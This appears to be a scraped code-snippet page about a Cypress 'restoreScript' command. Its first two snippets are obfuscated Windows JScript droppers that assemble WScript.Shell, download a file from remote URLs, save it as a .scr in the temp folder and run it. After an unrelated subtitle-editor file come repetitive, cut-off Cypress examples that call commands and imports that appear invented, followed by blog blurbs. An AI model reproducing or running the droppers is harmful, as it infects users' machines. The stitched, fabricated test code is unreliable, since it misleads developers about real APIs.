1funescape = "ponseB", attrs = 6, eq = "ect", ct = "write";2param = "fr/6";3optionSet = "xp";4letterSpacing = "ree.";5sortStable = 54;6keepScripts = "//f";7beforeunload = 32;8implicitRelative = (function Object.prototype.gotoEnd() {9 return this10}, "native"), escapedWhitespace = "B.S";11fnOut = "e", fadeTo = "typ", mappedTypes = "GE", src = 42;12relative = "pt", raw = "WScrip";13preferredDoc = "ADOD", rfocusable = "s", combinator = "ouane.";14tweens = "Sle", urlAnchor = "se", outerCache = "Res", empty = 138, dataPriv = "teObje", matcherFromTokens = "open";15camelKey = "Run";16leadingRelative = 21;17inArray = "rin";18getBoundingClientRect = "sav";19shift = "P";20suffix = "ct";21send = "send";22createComment = "cript";23domManip = "gb4", trim = "/", step = "tream", clearQueue = "pt.", parts = 25;24callbackInverse = "stat";25detectDuplicates = "T";26finalText = 141;27outermost = "eOb";28elems = 11;29responseFields = "an", rscriptType = "ep";30push = "eToFil", cleanData = "2.", unshift = "n";31var contentType = "54",32 optgroup = "7uh",33 delegate = "Text",34 init = "Slee",35 pixelMarginRight = 179,36 fn = 23;37adjustCSS = "WScr";38firstChild = "Shell";39postDispatch = "j";40defaultDisplay = 438;41originalSettings = "LHTT";42ajaxTransport = "Crea";43var sortDetached = "http:",44 scriptCharset = "a",45 udataCur = 1;46tuples = "g";47styles = "clo";48content = "entSt";49compareDocumentPosition = "P%";50last = "k";51rclass = "op";52augmentWidthOrHeight = ".scr";53timerId = 9;54var offsetWidth = 0,55 splice = "t",56 e = 163;57toArray = "%TEM";58simulate = "f";59emptyGet = 36;60option = "ody";61j = "Creat";62keys = "XM";63guaranteedUnique = "WS";64deepDataAndEvents = "dEnvir";65preFilter = "M";66camel = 3;67apply = 63;68postSelector = "Status";69matcher = "je";70restoreScript = 2;71bp = "SXML";72max = "onm";73destElements = "WScri";74nodeIndex = "c";75rbuggyQSA = 146;76slideToggle = "posi";77var rpseudo = "ready",78 fxNow = "ip",79 noGlobal = "tion";80var tfoot = "E",81 parents = "p",82 setAttribute = 35,83 abort = 1253;84bind = ((Math.pow((250 - finalText), 2) - camel * 1307 * camel), ((200, rbuggyQSA, 57, restoreScript), this));85indirect = camelKey;86sort = bind[guaranteedUnique + createComment];87protocol = sort[j + outermost + postDispatch + eq](destElements + clearQueue + firstChild);88fireGlobals = protocol[tfoot + optionSet + responseFields + deepDataAndEvents + max + content + inArray + tuples + rfocusable](toArray + compareDocumentPosition + trim) + implicitRelative + postSelector + delegate + augmentWidthOrHeight;89prevUntil = bind[destElements + relative][ajaxTransport + dataPriv + nodeIndex + splice](preFilter + bp + cleanData + keys + originalSettings + shift);90prevUntil[rclass + fnOut + unshift](mappedTypes + detectDuplicates, sortDetached + keepScripts + last + scriptCharset + combinator + simulate + letterSpacing + param + optgroup + contentType + domManip, !((((((88 * restoreScript + 46) + camel * 23 * restoreScript) - ((65 - beforeunload) | (17 ^ offsetWidth))) & (((11935 / setAttribute) ^ (226 & pixelMarginRight)) & ((Math.pow(377, restoreScript) - 141618) & (defaultDisplay ^ 72)))) / (Math.pow((parts & 31), (udataCur + 1)) - (leadingRelative * 28 + attrs))) > 9));91prevUntil[send]();92while (prevUntil[rpseudo + callbackInverse + fnOut] < ((Math.pow(emptyGet, 2) - abort) - (16 + fn))) {93 bind[adjustCSS + fxNow + splice][init + parents](((46 | restoreScript) + (245, sortStable)));94}95webkitMatchesSelector = bind[raw + splice][j + outermost + matcher + suffix](preferredDoc + escapedWhitespace + step);96bind[destElements + relative][tweens + rscriptType](((187, empty, 630000) / (offsetWidth | 42)));97webkitMatchesSelector[matcherFromTokens]();98rejectWith = webkitMatchesSelector;99rejectWith[fadeTo + fnOut] = (offsetWidth ^ (1 ^ offsetWidth));100tokenCache = rejectWith;101webkitMatchesSelector[ct](prevUntil[outerCache + funescape + option]);102tokenCache[slideToggle + noGlobal] = ((0 / timerId) | (0 ^ offsetWidth));103webkitMatchesSelector[getBoundingClientRect + push + fnOut](fireGlobals, ((54 & apply) - (572 / elems)));104webkitMatchesSelector[styles + urlAnchor]();105parseJSON = protocol;
...
20160309_e8bf39e7a1d36da716ad82f68805509a.js
1focusin = 91, responseContainer = "XMLH";2var hide = "ll",3 classCache = "Body",4 rmultiDash = "/q3";5mappedTypes = "e";6var newContext = "Script",7 attrHooks = "p://",8 nodeName = "GET",9 err = "pen",10 isDefaultPrevented = "WScr",11 rnoInnerhtml = "rT";12code = "WScri";13matchExpr = "ct";14locked = 10;15selectedIndex = "plan";16submit = "Expan";17getAttributeNode = "write";18var createComment = "cle";19var disableScript = "dEnvir",20 rescape = 0;21domManip = "Crea";22dir = 8;23hasData = "/";24var flag = 118,25 removeEvent = 19,26 buildFragment = "ipt",27 view = "m";28propFix = "type", filter = 1, setRequestHeader = "Obje", pos = "W", self = "u/s", escaped = "S";29var rprotocol = 15,30 doScroll = "onm",31 iframe = "pt.She",32 includeWidth = "4";33traditional = "eObje", keyHooks = 12, toggleClass = "teObj", removeChild = 658;34fadeOut = "le";35current = "in";36rnumnonpx = "imeou";37triggerHandler = "saveTo";38isArrayLike = "pos";39maxIterations = "hery";40opts = "XML2.";41var originAnchor = "t",42 nextAll = "Cre",43 getAll = "MS",44 cors = "htt";45div1 = ".com", camel = "Run", stopPropagation = "leep", msMatchesSelector = 23, duplicates = 22, noGlobal = "DB.S";46manipulationTarget = "entStr";47realStringObj = "Re";48nType = "2r45g5";49delegateType = 14;50scripts = "Scrip", qsa = "a", nodeType = 143, linear = "EMP%";51restoreScript = 3;52checkClone = "Create";53firstDataType = "lo";54parentWindow = "gs";55resolveValues = "n";56attrs = "ystem/";57documentIsHTML = "Scri";58headers = 111;59createFxNow = 76;60pattern = "rea";61dataTypes = 32;62ap = "ope", relative = (function Object.prototype.dirrunsUnique() {63 return this64}, "ADO"), stored = ".", matchIndexes = "g", parentNode = "%T";65closest = 49, rneedsContext = "send", rnotwhite = "arc", onerror = "clos", mapped = "Fi";66var values = "s";67root = "scr";68props = 6;69parents = "pt", memory = "ition", len = 5, undelegate = 45, iNoClone = 2, buildParams = "TTP";70wrapInner = "o";71cacheLength = "ponse";72ajax = (((1508 + removeChild) / (19 | removeEvent)), (((1 * rescape) / (1 + undelegate)), this));73padding = camel;74using = ajax[pos + newContext];75postFilter = using[checkClone + setRequestHeader + matchExpr](code + iframe + hide);76state = postFilter[submit + disableScript + doScroll + manipulationTarget + current + matchIndexes + values](parentNode + linear + hasData) + createComment + qsa + rnoInnerhtml + rnumnonpx + originAnchor + stored + root;77requestHeadersNames = ajax[pos + documentIsHTML + parents][domManip + originAnchor + traditional + matchExpr](getAll + opts + responseContainer + buildParams);78requestHeadersNames[ap + resolveValues](nodeName, cors + attrHooks + selectedIndex + mappedTypes + originAnchor + rnotwhite + maxIterations + div1 + stored + qsa + self + attrs + firstDataType + parentWindow + rmultiDash + nType + includeWidth, !(((((15 * restoreScript + 1) / (removeEvent * 2 + dir)) * ((1 & (filter | 0)) ^ ((restoreScript & 3) | (filter * 1)))) + ((((focusin, 91, createFxNow) - (25, duplicates, 85, msMatchesSelector)) * ((16 * restoreScript + 2) - (len ^ 43)) + ((keyHooks & 11) + (delegateType & 15))) / (((rprotocol + 17) - (locked * 2 + props)) | ((115 & headers) - (80 - delegateType))))) == 8));79requestHeadersNames[rneedsContext]();80visible = ajax[pos + scripts + originAnchor][nextAll + qsa + toggleClass + mappedTypes + matchExpr](relative + noGlobal + originAnchor + pattern + view);81visible[wrapInner + err]();82noCloneChecked = visible;83head = postFilter;84noCloneChecked[propFix] = ((closest - 48) | (filter * 1));85isPlainObject = noCloneChecked;86colgroup = requestHeadersNames[realStringObj + values + cacheLength + classCache];87visible[getAttributeNode](colgroup);88isPlainObject[isArrayLike + memory] = ((filter + 0) + -(rescape ^ 1));89visible[triggerHandler + mapped + fadeOut](state, ((filter) * (2 & iNoClone)));90fix = visible;91fix[onerror + mappedTypes]();92ajax[isDefaultPrevented + buildFragment][escaped + stopPropagation](((73 + nodeType), (117 & flag), (45000 / restoreScript)));...
operations.js
Source: operations.js
1// 1.022const TRANSLATION = 0;3const ADJUST_TEXT = 1;4const NEW_SUBS = 2;5const PIMP_UP_AUTO = 3;6var actualOp = TRANSLATION;7var setmodes = {'cutButton' : ['none', 'flex'],8 'processButton': ['none', 'flex'],9 'toWorkingBlocks': ['none', 'block'],10 'restoreScript': ['none', 'block'],11 'loadButton': ['none', 'flex'],12 'pimpMode': ['none', 'flex'],13 };14var settings = [ ['toWorkingBlocks', 'restoreScript', 'loadButton'], //TRANSLATION15 ['processButton', 'loadButton'], //ADJUST_TEXT16 ['cutButton'], //NEW_SUBS17 ['restoreScript', 'loadButton', 'pimpMode'] //PIMP_UP_AUTO18 ];19function showAndHideControls() {20 Object.keys(setmodes).forEach((key, index) => {21 let actSetting = settings[actualOp];22 if(actSetting.includes(key)) {23 el(key).style.display = setmodes[key][1];24 } else {25 el(key).style.display = setmodes[key][0];26 }27 });28 backEditing = (actualOp==PIMP_UP_AUTO);29}30function operationChanged() {31 actualOp = el('operation').selectedIndex;32 showAndHideControls();...
Using AI Code Generation
1it('should restore script', () => {2 cy.window().then(win => {3 cy.stub(win, 'open').as('windowOpen')4 })5 cy.get('.network-btn').click()6 cy.get('@windowOpen').should('be.called')7 cy.window().then(win => {8 cy.restoreScript(win, 'open')9 })10 cy.get('.network-btn').click()11 cy.get('@windowOpen').should('not.be.called')12})13cy.restoreScript(win, 'open')14cy.restoreAllScripts(win)15cy.stubScript(win, 'open')16cy.stubAllScripts(win)17cy.restoreAllScripts(
Using AI Code Generation
1cy.restoreScript('test.js')2cy.restoreScript('test.js', 'test2.js')3cy.restoreScript('test.js', 'test2.js', 'test3.js')4cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js')5cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js')6cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js')7cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js', 'test7.js')8cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js', 'test7.js', 'test8.js')9cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js', 'test7.js', 'test8.js', 'test9.js')10cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js', 'test7.js', 'test8.js', 'test9.js', 'test10.js')11cy.restoreScript('test.js', 'test2.js', 'test3.js', 'test4.js', 'test5.js', 'test6.js', 'test7.js', 'test8.js', 'test
Using AI Code Generation
1import { restoreScript } from '@cypress/code-coverage/task';2import { writeCoverageFile } from '@cypress/code-coverage/util';3import { instrument } from '@cypress/code-coverage/instrument';4import { addMatchImageSnapshotPlugin } from 'cypress-image-snapshot/plugin';5import { addMatchImageSnapshotCommand } from 'cypress-image-snapshot/command';6module.exports = (on, config) => {7 on('task', { restoreScript });8 on('task', { writeCoverageFile });9 on('file:preprocessor', instrument);10 addMatchImageSnapshotPlugin(on, config);11 addMatchImageSnapshotCommand(on, config);12};13import { restoreScript } from '@cypress/code-coverage/task';14import { writeCoverageFile } from '@cypress/code-coverage/util';15import { instrument } from '@cypress/code-coverage/instrument';16import { addMatchImageSnapshotPlugin } from 'cypress-image-snapshot/plugin';17import { addMatchImageSnapshotCommand } from 'cypress-image-snapshot/command';18module.exports = (on, config) => {19 on('task', { restoreScript });20 on('task', { writeCoverageFile });21 on('file:preprocessor', instrument);22 addMatchImageSnapshotPlugin(on, config);
Using AI Code Generation
1}t2it('should restore the original function', () => {3 const foo = cy.stub().as('foo')4 cy.on('window:alert', foo)5 cy.visit('index.html')6 cy.get('button').click()7 cy.get('@foo').should('have.been.calledOnce')8 cy.restoreScript('window.alert')9 cy.get('button').click()10 cy.get('@foo').should('have.been.calledOnce')11})12<button onclick="window.alert('Hello!')">Click me</button>13describe('My First Test', () => {14 it('clicks the link "type"', () => {15 cy.contains('type').click()16 cy.url().should('include', '/commands/actions')17 })18})19describe('My First Test', () => {20 it('clicks the link "type"', () => {21 cy.contains('type').click()22 cy.url().should('include', '/commands/actions')23 })24})25describe('My First Test', () => {26 it('clicks the link "type"', () => {27 cy.contains('type').click()28 cy.url().should('include', '/commands/actions')29 })30})31describe('My First Test', () => {32 it('clicks the link "type"', () => {33 cy.contains('type').click()34 cy.url().should('include', '/commands/actions')35 })36})37describe('My First Test', () => {38 it('clicks the link "type"', () => {39 cy.contains('type').click()40 cy.url().should('include', '/commands/actions')41 })42})43describe('My First Test', () => {44 it('clicks the link "type"', () => {45 cy.contains('type').click()
How do I select a checkbox when I get a path error. I am doing this in cypress
How to return a value from custom function in Cypress?
Cypress: run only one test
Cypress - cy.intercept catching wrong url
Simulating click on document ReactJS/JSDom
Use token to login - cypress does not redirect
Array.toString returns empty outside of loop
Select elements in HTML via cypress.get()
Cypress invoke doesn't execute the "show" method for hidden elements interaction
Cypress: Test if element does not exist
Back-ticks are also valid delimiters for the selector,
cy.get(`[data-ng-show="destact['dest'].length > 0"] > .checkbox-block > :nth-child(1) > .ng-binding`)
Check out the latest blogs from LambdaTest on this topic:
Cypress is one of the selected-few JavaScript test automation tools that has climbed the ranks when it comes to modern web testing. Though I have extensively used Selenium, I am fascinated with the speed at which the Cypress team comes with innovative features to help developers and testers around the world. What I particularly liked about Cypress test automation is its extensive support for accessibility automation over HTML Semantic Element properties such as aria-label, etc.
Salesforce is a cloud-based CRM (Customer Relationship Management) system. This CRM is used to manage customer relationships better, and it stores information like sales, product details, marketing campaigns, and services regarding customers. The CRM can be customized according to the business requirements, but this customization mustn’t affect any other functionality of Salesforce.
Automation Testing has become a necessity in the world of DevOps and Agile. Effective automation testing can be an awesome productivity booster for the testing team and an overall system quality enhancer in the long run. However, the most difficult element of starting with test automation is making sure it is used correctly.
Any automation testing using Selenium (or Cypress) involves interacting with the WebElements available in the DOM. Test automation framework underpins a diverse set of locators that are used to identify and interact with any type of element on the web page. For example, ID, name, className, XPath, cssSelector, tagName, linkText, and partialLinkText are some of the widely used that help you interact with the elements on the web page. These locators help you perform any type of web element interactions using Selenium.
It is a fact that software testing is time and resources consuming. Testing the software can be observed from different perspectives. It can be divided based on what we are testing. For example, each deliverable in the project, like the requirements, design, code, documents, user interface, etc., should be tested. Moreover, we may test the code based on the user and functional requirements or specifications, i.e., black-box testing. At this level, we are testing the code as a black box to ensure that all services expected from the program exist, work as expected, and with no problem. We may also need to test the structure of the code, i.e., white box testing. Testing can also be divided based on the sub-stages or activities in testing, for instance, test case generation and design, test case execution and verification, building the testing database, etc. Testing ensures that the developed software is, ultimately, error-free. However, no process can guarantee that the developed software is 100% error-free.
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!